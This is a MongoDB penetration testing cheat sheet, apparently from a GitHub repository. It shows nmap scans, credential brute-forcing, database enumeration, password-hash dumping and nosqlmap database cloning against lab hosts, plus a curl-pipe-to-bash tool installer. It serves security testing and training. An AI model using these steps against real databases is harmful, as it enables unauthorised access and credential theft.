-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathMongoDB penetration testing
937 lines (788 loc) · 39.3 KB
/
MongoDB penetration testing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
*** MongoDB PENETRATION TESTING ***
==========================================================================================================
INDEX
==========================================================================================================
01. General information
02. How to perform a network TCP port scan to locate a MongoDB database
03. How to perform a password brute-force attack to identify valid database credentials (logins/passwords)
04. How to log into a MongoDB database using valid credentials and extract its configuration
05. How to audit/test the security posture of a MongoDB (tools: mongoaudit, nosqlmap, nosql-exploitation-framework)
06. How to dump and crack MongoDB password hashes
==========================================================================================================
01. General information
==========================================================================================================
• MongoDB is a cross-platform document-oriented database program. MongoDB is classified as a NoSQL database program.
• MongoDB concepts
+ A database holds a set of collections
+ A collection holds a set of documents
+ A document is a set of fields
+ A field is a key-value pair
+ A key is a name (string)
+ A value is a - basic type like string, integer, float, timestamp, binary, etc.,
+ a document, or
+ an array of values
• Typically, NoSQL DB's use XML, YAML, JSON, and BSON to encode the data. MongoDB uses Binary JSON (BSON).
• NoSQL databases have their own terminology that is different from typical relational databases such as MSSQL and MySQL:
+ Document = Row or Record
+ Collection = Table or View
+ Field = Column
• So, a typical NoSQL database collection (table) holds one or more "documents" (records).
• Each document can have one or more fields (columns).
• It's being used more and more in the production of agile applications i.e. quick to develop and deploy and often used in "big data" type projects.
• These can include banking applications and document storage as examples.
The core components in the MongoDB package are:
----------------------------------------------
• mongod
+ the core database process (it is the "Mongo Daemon" = the host process for the database.)
• mongos
+ the controller and query router for sharded clusters
+ mongos for "MongoDB Shard," is a routing service for MongoDB shard configurations that processes queries from the application layer,
and determines the location of this data in the sharded cluster, in order to complete these operations.
+ From the perspective of the application, a mongos instance behaves identically to any other MongoDB instance.
• mongo
+ it is the interactive MongoDB Shell.
Configuration file
------------------
• You can configure mongod and mongos instances at startup using a configuration file
+ mongod --config /etc/mongod.conf
+ mongos --config /etc/mongos.conf
+ mongod -f /etc/mongod.conf
+ mongos -f /etc/mongos.conf
Example of configuration file "/etc/mongod.conf"
------------------------------------------------
systemLog:
verbosity: <int>
quiet: <boolean>
traceAllExceptions: <boolean>
syslogFacility: <string>
path: <string>
logAppend: <boolean>
logRotate: <string>
destination: <string>
timeStampFormat: <string>
component:
accessControl:
verbosity: <int>
command:
verbosity: <int>
# COMMENT some component verbosity settings omitted for brevity
storage:
verbosity: <int>
journal:
verbosity: <int>
write:
verbosity: <int>
auditLog:
destination: <string>
format: <string>
path: <string>
filter: <string>
processManagement:
fork: <boolean>
pidFilePath: <string>
net:
port: <int>
bindIp: <string>
maxIncomingConnections: <int>
wireObjectCheck: <boolean>
ipv6: <boolean>
unixDomainSocket:
enabled: <boolean>
pathPrefix: <string>
filePermissions: <int>
http:
enabled: <boolean>
JSONPEnabled: <boolean>
RESTInterfaceEnabled: <boolean>
ssl:
sslOnNormalPorts: <boolean> # deprecated since 2.6
mode: <string>
PEMKeyFile: <string>
PEMKeyPassword: <string>
clusterFile: <string>
clusterPassword: <string>
CAFile: <string>
CRLFile: <string>
allowConnectionsWithoutCertificates: <boolean>
allowInvalidCertificates: <boolean>
allowInvalidHostnames: <boolean>
disabledProtocols: <string>
FIPSMode: <boolean>
security:
keyFile: <string>
clusterAuthMode: <string>
authorization: <string>
javascriptEnabled: <boolean>
sasl:
hostName: <string>
serviceName: <string>
saslauthdSocketPath: <string>
setParameter:
<parameter1>: <value1>
<parameter2>: <value2>
enableLocalhostAuthBypass: false
storage:
dbPath: <string>
indexBuildRetry: <boolean>
repairPath: <string>
journal:
enabled: <boolean>
directoryPerDB: <boolean>
syncPeriodSecs: <int>
engine: <string>
mmapv1:
preallocDataFiles: <boolean>
nsSize: <int>
quota:
enforced: <boolean>
maxFilesPerDB: <int>
smallFiles: <boolean>
journal:
debugFlags: <int>
commitIntervalMs: <num>
wiredTiger:
engineConfig:
cacheSizeGB: <number>
journalCompressor: <string>
directoryForIndexes: <boolean>
collectionConfig:
blockCompressor: <string>
indexConfig:
prefixCompression: <boolean>
operationProfiling:
slowOpThresholdMs: <int>
mode: <string>
replication:
oplogSizeMB: <int>
replSetName: <string>
secondaryIndexPrefetch: <string>
sharding:
clusterRole: <string>
archiveMovedChunks: <boolean>
snmp:
subagent: <boolean>
master: <boolean>
Authentification
-----------------
mongod --setParameter authenticationMechanisms=XXX
MongoDB authentication
------------------------
> SCRAM-SHA-1 : RFC 5802 standard Salted Challenge Response Authentication Mechanism using the SHA-1 hash function.
> MONGODB-CR : MongoDB challenge/response authentication.
> MONGODB-X509 : MongoDB TLS/SSL certificate authentication.
> GSSAPI (Kerberos) : External authentication using Kerberos. This mechanism is available only in MongoDB Enterprise.
> PLAIN (LDAP SASL) : External authentication using LDAP. PLAIN transmits passwords in plain text. This mechanism is available only in MongoDB Enterprise
==========================================================================================================
02. How to perform a network port scan to locate a MongoDB Database
==========================================================================================================
1. NMAP (https://nmap.org)
--------------------------
pentester@KaliLinux> nmap -sV -sS -vv 192.168.1.234 -p 28017,27017,27018,27018
27017 - This is the default port mongod and mongos (mongo shell) instances.
27018 - This is the default port when running with --shardsvr runtime operation or shardsvr setting.
27019 - This is the default port when running with --configsvr runtime operation or configsvr setting.
28017 - This is the default port for the web status page.
pentester@KaliLinux> nmap -Pn -p 27017 --script mongodb-databases x.x.x.x
pentester@KaliLinux> nmap -p 27017 --script mongodb-databases 192.168.1.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 01:44 CET
Nmap scan report for 192.168.1.104
Host is up (0.00048s latency).
PORT STATE SERVICE
27017/tcp open mongodb
| mongodb-databases:
| databases
| 0
| empty = false
| name = credentials
| sizeOnDisk = 83886080.0
| 1
| empty = false
| name = local
| sizeOnDisk = 83886080.0
| totalSize = 167772160.0
|_ ok = 1.0
MAC Address: 08:00:27:34:BF:F6 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
2. Nosql-Exploitation-Framework (https://github.com/torque59/Nosql-Exploitation-Framework)
------------------------------------------------------------------------------------------
jeff@kali-Linux:~/Documents/Tools/Nosql-Exploitation-Framework-master$ sudo docker run -it torque59/nosqlframework -ip 192.168.1.104 -scan
[+] 192.168.1.104 is up!
[!] Scanning Module For NoSQL Framework Launched.....
[-] MongoDB port open on 192.168.1.104:27017!
[-] CouchDB port closed.
[-] RedisDB port open on 192.168.1.104:6479!
==========================================================================================================
03. How to perform a password brute-force attack to identify valid database credentials (logins/passwords)
==========================================================================================================
1. NMAP - 'mongodb-brute' module (https://nmap.org)
-----------------------------------------------------
• This NSE script performs brute force password auditing against the MongoDB database.
pentester@KaliLinux> nmap -p 27017 --script mongodb-brute <paddles>
2. METASPLOIT - MongoDB Login Utility (Brute Force)
-----------------------------------------------------
• This module attempts to brute force authentication credentials for MongoDB. Note that, by default, MongoDB does not require authentication.
• https://www.rapid7.com/db/modules/auxiliary/scanner/mongodb/mongodb_login
• auxiliary/scanner/mongodb/mongodb_login
3. Nosql-Exploitation-Framework (https://github.com/torque59/Nosql-Exploitation-Framework)
------------------------------------------------------------------------------------------
pentester@KaliLinux> python3 ./nosqlframework.py -ip <localhost> -dict mongo -file user-pass-file-dico.txt
==========================================================================================================
04. How to log into a MongoDB database using valid credentials and extract its configuration
==========================================================================================================
• Install mongo client on Kali
-------------------------------
pentester@KaliLinux> apt-get install mongodb-clients
• Connect to a MongoDB using the 'mongo' command line client
--------------------------------------------------------------
> mongo --port <port> -u <username> -p <password> <IP> --note: Port 27017 is default value
> mongo --port 27017 -u foo -p bar 10.10.10.10
> mongo --port 27017 -u myUserAdmin -p abc123 --authenticationDatabase admin 10.10.10.10
• Connect to a MongoDB using the HTTP Web concole interface (TCP/28017)
------------------------------------------------------------------------
> http://<ipaddress>:28017
> http://192.168.1.2:28017/hostInfo?text=1
> http://192.168.1.2:28017/serverStatus?text=1
> http://192.168.1.2:28017/listDatabases?text=1
> http://192.168.1.2:28017/top?text=1
> http://192.168.1.2:28017/replSetGetStatus?text=1
> http://192.168.1.2:28017/buildInfo?text=1
> http://192.168.1.2:28017/<database>/CollectionName>/
> http://192.168.1.2:28017/HR-database/employees/
> http://192.168.1.2:28017/admin/user/
> http://192.168.1.234:28017/admin/system.users/
> http://192.168.1.234:28017/admin/system.version/
> http://192.168.1.2:28017/admin/$cmd/?filter_listDatabases=1&limit=1
• Useful commands
-----------------
> mongo@mongo:~$ sudo service mongod start mongod start/running, process 2210 -- start a MongoDB instance
> mongo@mongo:~$ sudo mongod --auth --port 27019 --dbpath /var/lib/mongodb -- start a MongoDB instance ('--auth' means no anonymous access)
> mongo@mongo:~$ sudo mongod -httpinterface -rest -smallfiles
> Mongodump -u <user> -p <pass> -h <IP> --db <db_name> -- Dump the DB for off-line grepping
> Mongodump -u foo -p bar -h 10.10.10.10 --db SecretDB
> use admin -- access the admin database (from the localhost interface)
> db.adminCommand( { "hostInfo" : 1 } ) -- Show server info
> db.version() -- Show MongoDB version
> show users -- Show users
> db.getUser() -- Returns information for all the users in the database
> db.users.find() -- Show users
> db.runCommand( {buildInfo: 1} )
> show roles -- Show roles
> SHOW ROLES IN mydatabase
> SHOW ROLES FOR ROLE myrole
> use <db_name>
> show dbs -- Show databases
> show tables -- Show tables (called collections)
> show collections -- Show tables (called collections)
> db.getCollctionNames() -- Show tables (called collections)
> db.<table_name>.find() -- List data in the table/collection
> db.<collection_name>.find( { <column_name> : "<value>" } -- Search for exact match in the table/collection
> db.<collection_name>.find( { <column_name> : /<value>/i } ) -- Wildcard search data in the table/collection
> db.users.find( { name : /tony/i } ) -- Wildcard search user tony in the table/collection users
> db.system.profile.find() -- Logs
> db.getProfilingLevel() --To see what profiling level the database is running in, use
> db.getProfilingStatus() -- and to see the status
> use reporting
> db.getUser("reportsUser")
> use accounts
> db.getRole( "readWrite", { showPrivileges: true } )
> logout
> db.auth("superAdmin","superAdmin123") -- login as the user 'superadmin'
> db.runCommand({connectionStatus : 1}) -- show authenticated users
> db.runCommand( { usersInfo: 1 , showCredentials : true } );
> db.runCommand{ usersInfo: { user: <name>, db: <db> }, showCredentials: <Boolean>, showPrivileges: <Boolean> }
> db.runCommand( { rolesInfo: 1, showBuiltinRoles: true } ) -- Return Information for All Roles in the Database
> db.system.users.findOne({user: "testUser"}) -- How to display user's roles and password hash
{
"_id" : "admin.testUser",
"user" : "testUser",
"db" : "testdb",
"credentials" : {
"SCRAM-SHA-1" : {
"iterationCount" : 10000,
"salt" : "+seF99VS0sZFe30VPBHA7A==",
"storedKey" : "DYPbk/QJVowCNDPe2O2uWMmGq8U=",
"serverKey" : "q4KAi4pVZNOLCgWcxcBr7jkM3m8="
}
},
"roles" : [
{
"role" : "readWrite",
"db" : "testDb"
> use reporting
> db.getUser("reportsUser") -- Returns information for all the users in the database.
..
"roles" : [
{ "role" : "readWrite", "db" : "accounts" },
{ "role" : "read", "db" : "reporting" },
{ "role" : "read", "db" : "products" },
{ "role" : "read", "db" : "sales" }
]
> db.createUser( -- Create a user which is member of the superuser role 'root'.
{
user: "mongo-root-user",
pwd: "passw0rd",
roles: [ { role: "root", db: "admin" } ]
}
)
Admin role vs Root role
-----------------------
=> The role 'userAdminAnyDatabase' in MongoDB gives ability to create users and assign roles to them, but by itself it doesn’t allow the user to do anything else.
=> The superuser role in MongoDB is the role 'root'.
• NMAP - 'mongodb-info' module
-----------------------------------
This NSE script attempts to get a list of tables from a MongoDB database.
This works only if MongoDB interface doesn’t require authentication.
pentester@KaliLinux> nmap -p 27017 --script mongodb-info 192.168.1.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-02 01:48 CET
Nmap scan report for 192.168.1.104
Host is up (0.00053s latency).
PORT STATE SERVICE
27017/tcp open mongodb
| mongodb-info:
| MongoDB Build info
| OpenSSLVersion = OpenSSL 1.0.1f 6 Jan 2014
| gitVersion = b8ff507269c382bc100fc52f75f48d54cd42ec3b
| debug = false
| sysInfo = Linux ip-10-71-195-23 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49
| bits = 64
| javascriptEngine = V8
| versionArray
| 2 = 15
| 1 = 0
| 0 = 3
| 3 = 0
| maxBsonObjectSize = 16777216
| loaderFlags =
| ok = 1.0
| version = 3.0.15
| allocator = tcmalloc
| compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99
| Server status
| mem
| supported = true
| mappedWithJournal = 320
| virtual = 530
| mapped = 160
| resident = 72
| bits = 64
| dur
| journaledMB = 0.0
| timeMs
| remapPrivateView = 0
| writeToJournal = 0
| dt = 3005
| prepLogBuffer = 0
| commits = 0
| writeToDataFiles = 0
| commitsInWriteLock = 0
| writeToDataFilesMB = 0.0
| earlyCommits = 0
| commits = 29
| compression = 0.0
| commitsInWriteLock = 0
| backgroundFlushing
| flushes = 63
| last_ms = 1
| average_ms = 0.063492063492063
| last_finished = 1583110110879
| total_ms = 4
| cursors
<SNIP>
===================================================================================================================
05. How to audit/test the security posture of a MongoDB (tools: mongoaudit, nosqlmap, nosql-exploitation-framework)
===================================================================================================================
1. Security Checklist
-----------------------
• Enable Access Control and Enforce Authentication
• Configure Role-Based Access Control
• Encrypt Communication
• Encrypt and Protect Data
• Limit Network Exposure
Ensure that the HTTP status interface, the REST API, and the JSON API are all disabled in production environments
to prevent potential data exposure and vulnerability to attackers.7
HTTP Status Interface
REST API
bind_ip
• Audit System Activity
/var/log/mongodb/mongodb.log
• Run MongoDB with a Dedicated User
• Run MongoDB with Secure Configuration Options
• Request a Security Technical Implementation Guide (where applicable)
• Consider Security Standards Compliance
Note: The configuration file "/etc/mongod.conf" must be reviewed.
2. Tool "Mongoaudit" (https://github.com/stampery/mongoaudit)
--------------------------------------------------------------
• Mongoaudit is a CLI tool for auditing MongoDB servers, detecting poor security settings and performing automated penetration testing.
• installer: curl -s https://mongoaud.it/install | bash
• Supported tests:
+ MongoDB listens on a port different to default one
+ Server only accepts connections from whitelisted hosts / networks
+ MongoDB HTTP status interface is not accessible on port 28017
+ MongoDB is not exposing its version number
+ MongoDB version is newer than 2.4
+ TLS/SSL encryption is enabled
+ Authentication is enabled
+ SCRAM-SHA-1 authentication method is enabled
+ Server-side Javascript is forbidden *
+ Roles granted to the user only permit CRUD operations *
+ The user has permissions over a single database *
+ Security bug CVE-2015-7882
+ Security bug CVE-2015-2705
+ Security bug CVE-2014-8964
+ Security bug CVE-2015-1609
+ Security bug CVE-2014-3971
+ Security bug CVE-2014-2917
+ Security bug CVE-2013-4650
+ Security bug CVE-2013-3969
+ Security bug CVE-2012-6619
+ Security bug CVE-2013-1892
+ Security bug CVE-2013-2132
3. Tool "NoSQLMAP" (https://github.com/stampery/mongoaudit)
-----------------------------------------------------------
• NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default
configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the
database.
_ _ ___ ___ _ __ __
| \| |___/ __|/ _ \| | | \/ |__ _ _ __
| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \
|_|\_\___/___/\__\_\____|_| |_\__,_| .__/
v0.7 [email protected] |_|
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 4
MongoDB Default Access Scanner
==============================
1-Scan a subnet for default MongoDB access
2-Loads IPs to scan from a file
3-Enable/disable host pings before attempting connection
x-Return to main menu
Select an option: 1
Enter subnet to scan: 192.168.1.0/24
Couldn't connect to 192.168.1.1.
Couldn't connect to 192.168.1.2.
<SNIP>
Successful default access on 192.168.1.104(MongoDB Version: 3.0.15).
<SNIP>
_ _ ___ ___ _ __ __
| \| |___/ __|/ _ \| | | \/ |__ _ _ __
| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \
|_|\_\___/___/\__\_\____|_| |_\__,_| .__/
v0.7 [email protected] |_|
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 2
DB Access attacks (MongoDB)
=================
Checking to see if credentials are needed...
Successful access with no credentials!
MongoDB web management closed or requires authentication.
1-Get Server Version and Platform
2-Enumerate Databases/Collections/Users
3-Check for GridFS
4-Clone a Database
5-Launch Metasploit Exploit for Mongo < 2.2.4
6-Return to Main Menu
Select an attack: 1
Server Info:
MongoDB Version: 3.0.15
Debugs enabled : False
Platform: 64 bit
Select an attack: 2
List of databases:
credentials
local
List of collections:
credentials:
system.indexes
typhoon
creds
local:
system.indexes
startup_log
Select an attack: 3
GridFS enabled on database credentials
list of files:
GridFS enabled on database local
list of files:
Select an attack: 4
1-credentials
2-local
Select a database to steal: 2
Does this database require credentials (y/n)? n
3. Tool "Nosql-Exploitation-Framework" (https://github.com/torque59/Nosql-Exploitation-Framework)
--------------------------------------------------------------------------------------------------
Allow to scan a MongDB database and enumerate db configuration as well as dump any data including password hashes.
If anonymous db access is disabled then a valid db admin account member of the role 'root' is required to scan the MongoDB.
Example 1 - Anonymous db admin access is enabled
-------------------------------------------------
jeff@kali-Linux:~/Documents/Tools/Nosql-Exploitation-Framework-master$ sudo docker run -it torque59/nosqlframework -ip 192.168.1.104 -enum mongo
[sudo] password for jeff:
[+] 192.168.1.104 is up!
[+] MongoDB port open on 192.168.1.104:27017!
[+] Enumeration Module For NoSQL Framework Launched ..
[!] Server Info:
[-]OpenSSLVersion:OpenSSL 1.0.1f 6 Jan 2014
[-]versionArray:[3, 0, 15, 0]
[-]gitVersion:b8ff507269c382bc100fc52f75f48d54cd42ec3b
[-]allocator:tcmalloc
[-]maxBsonObjectSize:16777216
[-]loaderFlags:
[-]sysInfo:Linux ip-10-71-195-23 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49
[-]javascriptEngine:V8
[-]debug:False
[-]ok:1.0
[-]version:3.0.15
[-]compilerFlags:-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99
[-]bits:64
[+] Checking for the Command Line Arguments
[+] argv:['/usr/bin/mongod', '--config', '/etc/mongod.conf']
[+] parsed:{'net': {'port': 27017, 'bindIp': '0.0.0.0'}, 'storage': {'journal': {'enabled': True}, 'dbPath': '/var/lib/mongodb'}, 'systemLog': {'logAppend': True, 'path': '/var/log/mongodb/mongod.log', 'destination': 'file'}, 'config': '/etc/mongod.conf'}
[+] ok:1.0
[!] Clients Connected:
[-]192.168.1.20:40254
[!] List of databases:
[+]credentials
[+]admin
[+]local
[-] admin:
[-]system.indexes
[!] Found system.users for 'admin' Checking for Users and Password Hashes:
[+] Found 'admin' Users and Password Hashes:
[-][{'credentials': {'SCRAM-SHA-1': {'salt': 'J0J71ZYp3U0/2vMhOoo8CQ==', 'serverKey': 'WSGMTuMeOyRh5XaEEGmzHHL8Jz8=', 'storedKey': 'CQPnEyDULuBVAFcRYN1uqYmvA3M=', 'iterationCount': 10000}}, 'db': 'admin', 'roles': [{'role': 'userAdminAnyDatabase', 'db': 'admin'}], '_id': 'admin.audit', 'user': 'audit'}, {'credentials': {'SCRAM-SHA-1': {'salt': 'S2tJcvT4aBdlzB/iEfsybg==', 'serverKey': 'dnWkMkFQriNnRElQongVe3AkZis=', 'storedKey': 'nlDIyRt8JPOlU0pIn3aU0MMeCws=', 'iterationCount': 10000}}, 'db': 'admin', 'roles': [{'role': 'userAdmin', 'db': 'Employee'}], '_id': 'admin.Employeeadmin', 'user': 'Employeeadmin'}]
[-]system.users
[!] Found system.users for 'admin' Checking for Users and Password Hashes:
[+] Found 'admin' Users and Password Hashes:
[-][{'credentials': {'SCRAM-SHA-1': {'salt': 'J0J71ZYp3U0/2vMhOoo8CQ==', 'serverKey': 'WSGMTuMeOyRh5XaEEGmzHHL8Jz8=', 'storedKey': 'CQPnEyDULuBVAFcRYN1uqYmvA3M=', 'iterationCount': 10000}}, 'db': 'admin', 'roles': [{'role': 'userAdminAnyDatabase', 'db': 'admin'}], '_id': 'admin.audit', 'user': 'audit'}, {'credentials': {'SCRAM-SHA-1': {'salt': 'S2tJcvT4aBdlzB/iEfsybg==', 'serverKey': 'dnWkMkFQriNnRElQongVe3AkZis=', 'storedKey': 'nlDIyRt8JPOlU0pIn3aU0MMeCws=', 'iterationCount': 10000}}, 'db': 'admin', 'roles': [{'role': 'userAdmin', 'db': 'Employee'}], '_id': 'admin.Employeeadmin', 'user': 'Employeeadmin'}]
<SNIP>
Example 2 - Authentication is enabled and we use a valid db admin account member of the role 'root'
-----------------------------------------------------------------------------------------------------
jeff@kali-Linux:~/Documents$ sudo docker run -it torque59/nosqlframework -ip 192.168.1.104 -enum mongo -auth mongo-root:passw0rd
[+] 192.168.1.104 is up!
[+] MongoDB port open 192.168.1.104:27017
[+] Enumeration Module For NoSQL Framework Launched ..
[-] Retrying with Supplying Credentials
admin
[!] Server Info:
[-]maxBsonObjectSize:16777216
[-]OpenSSLVersion:OpenSSL 1.0.1f 6 Jan 2014
[-]compilerFlags:-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99
[-]loaderFlags:
[-]ok:1.0
[-]versionArray:[3, 0, 15, 0]
[-]javascriptEngine:V8
[-]allocator:tcmalloc
[-]sysInfo:Linux ip-10-71-195-23 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49
[-]bits:64
[-]version:3.0.15
[-]gitVersion:b8ff507269c382bc100fc52f75f48d54cd42ec3b
[-]debug:False
[+] Checking for the Command Line Arguments
[+] ok:1.0
[+] argv:['mongod', '--auth', '--port', '27017', '--dbpath', '/var/lib/mongodb']
[+] parsed:{'storage': {'dbPath': '/var/lib/mongodb'}, 'net': {'port': 27017}, 'security': {'authorization': 'enabled'}}
[!] Clients Connected:
[-]192.168.1.20:40730
[!] List of databases:
[+]credentials
[+]admin
[+]local
[-] admin:
[-]system.indexes
[!] Found system.users for 'admin' Checking for Users and Password Hashes:
[+] Found 'admin' Users and Password Hashes:
[-][{'db': 'admin', 'roles': [{'db': 'admin', 'role': 'userAdminAnyDatabase'}], 'credentials': {'SCRAM-SHA-1': {'serverKey': 'WSGMTuMeOyRh5XaEEGmzHHL8Jz8=', 'iterationCount': 10000, 'storedKey': 'CQPnEyDULuBVAFcRYN1uqYmvA3M=', 'salt': 'J0J71ZYp3U0/2vMhOoo8CQ=='}}, 'user': 'audit', '_id': 'admin.audit'}, {'db': 'admin', 'roles': [{'db': 'Employee', 'role': 'userAdmin'}], 'credentials': {'SCRAM-SHA-1': {'serverKey': 'dnWkMkFQriNnRElQongVe3AkZis=', 'iterationCount': 10000, 'storedKey': 'nlDIyRt8JPOlU0pIn3aU0MMeCws=', 'salt': 'S2tJcvT4aBdlzB/iEfsybg=='}}, 'user': 'Employeeadmin', '_id': 'admin.Employeeadmin'}, {'db': 'admin', 'roles': [{'db': 'admin', 'role': 'root'}], 'credentials': {'SCRAM-SHA-1': {'serverKey': 'MHHmRRohJyaGxtXaj1FEiSAFaTY=', 'iterationCount': 10000, 'storedKey': 'pqMRNAzpTjR0CMdI8ojgW8Vk8gs=', 'salt': 'abLsIBE302xZFIGNY+jpBA=='}}, 'user': 'mongo-root', '_id': 'admin.mongo-root'}]
<SNIP>
Example 3 - Authentication is enabled and we enter valid low-privileged credentials
-----------------------------------------------------------------------------------
jeff@kali-Linux:~/Documents/docker$ sudo docker run -it torque59/nosqlframework -ip 192.168.1.104 -enum mongo -auth Employeeadmin:password
[+] 192.168.1.104 is up!
[+] MongoDB port open 192.168.1.104:27017
[+] Enumeration Module For NoSQL Framework Launched ..
[-] Retrying with Supplying Credentials
admin
[!] Server Info:
[-]bits:64
[-]maxBsonObjectSize:16777216
[-]javascriptEngine:V8
[-]version:3.0.15
[-]compilerFlags:-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99
[-]sysInfo:Linux ip-10-71-195-23 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49
[-]versionArray:[3, 0, 15, 0]
[-]OpenSSLVersion:OpenSSL 1.0.1f 6 Jan 2014
[-]ok:1.0
[-]loaderFlags:
[-]gitVersion:b8ff507269c382bc100fc52f75f48d54cd42ec3b
[-]debug:False
[-]allocator:tcmalloc
[+] Checking for the Command Line Arguments
[-] Failed Exception : not authorized on admin to execute command { getCmdLineOpts: 1 }
[!] Could not Fetch Clients Connected
[-] Unauthorized Supply Creds
[!] List of databases:
[-] Error Occured:not authorized on admin to execute command { listDatabases: 1, nameOnly: true }
[-] Eror Occured:not authorized on admin to execute command { listCollections: 1, cursor: {} }
Example 4 - Authentication is enabled and we enter wrong credentials
----------------------------------------------------------------------
